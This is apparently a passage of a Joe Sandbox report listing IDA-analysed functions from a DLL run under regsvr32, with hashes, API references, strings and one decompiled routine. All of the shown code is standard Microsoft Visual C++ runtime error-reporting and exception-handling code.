Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction ID: afa63f492d6c70519d8e627b7e85a2bc97528eb7c2a0a9c735d6d19596090ce3
Opcode Fuzzy Hash: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction Fuzzy Hash: 90F1D636609BC694E6B0DB54E8483AEB3E4F389780F604125DACD43BB9DB7ED194CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

Expression: , xrefs: 000007FEF9D2B006
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Module: , xrefs: 000007FEF9D2B192
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
<program name unknown>, xrefs: 000007FEF9D2AE40
Line: , xrefs: 000007FEF9D2B08C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
..., xrefs: 000007FEF9D2B167
(*_errno()), xrefs: 000007FEF9D2B2C7
m*, xrefs: 000007FEF9D2AE9E
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
File: , xrefs: 000007FEF9D2B0E3
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction ID: 4b7917f2e6131773ed7248c088fbaee50c31bf3d43f4cd1ee6c8c65be3a18826
Opcode Fuzzy Hash: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction Fuzzy Hash: BCC1E77190DBC681EBB48B15E8803EEA3E1F389384F614126E6CD42BB9DB7ED155CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
2H, xrefs: 000007FEF9D2CDB9
0I, xrefs: 000007FEF9D2CD0B
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
_, xrefs: 000007FEF9D2CE71
<program name unknown>, xrefs: 000007FEF9D2CD68
..., xrefs: 000007FEF9D2CE1A
Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction ID: 0a9042e1a7d7c8a566278db251693fc707392c06de90b0eab8804e289765c981
Opcode Fuzzy Hash: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction Fuzzy Hash: 4C910E31A1CA8685EBA0DB64E8543BE63E0F384784FA04126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

GetActiveWindow, xrefs: 000007FEF9D3133C
MessageBoxW, xrefs: 000007FEF9D31304
GetLastActivePopup, xrefs: 000007FEF9D3135E
GetUserObjectInformationW, xrefs: 000007FEF9D31380
GetProcessWindowStation, xrefs: 000007FEF9D313B3
USER32.DLL, xrefs: 000007FEF9D312E3

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction ID: 70a6d76ff3d3819b8955004bde04ce45998dc5e92ad36a3a08ed7dd3d00f33af
Opcode Fuzzy Hash: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction Fuzzy Hash: F051A635A08A8286E7A09B19FC5476E73E4F784B51F609035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a180);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D343A0
csm, xrefs: 000007FEF9D341BE
csm, xrefs: 000007FEF9D3429D

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction ID: b93d13205fcb5bf4744c4f5868d42f2397ba004b3dd065f5f3bbc86f0087c528
Opcode Fuzzy Hash: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
